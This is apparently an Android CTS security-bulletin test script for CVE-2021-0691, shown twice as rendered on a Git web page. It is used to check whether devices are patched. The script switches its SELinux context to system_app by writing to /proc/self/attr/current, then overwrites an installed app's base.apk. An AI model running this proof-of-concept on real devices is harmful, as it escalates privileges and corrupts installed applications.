hostsidetests/securitybulletin/res/cve_2021_0691.sh - platform/cts - Git at Google

 #!/bin/sh
 echo -n 'u:r:system_app:s0' > /proc/self/attr/current
 cd $1
 ls -l base.apk
 echo aaa > base.apk
 ls -l base.apk
	#!/bin/sh
	echo -n 'u:r:system_app:s0' > /proc/self/attr/current
	cd $1
	ls -l base.apk
	echo aaa > base.apk
	ls -l base.apk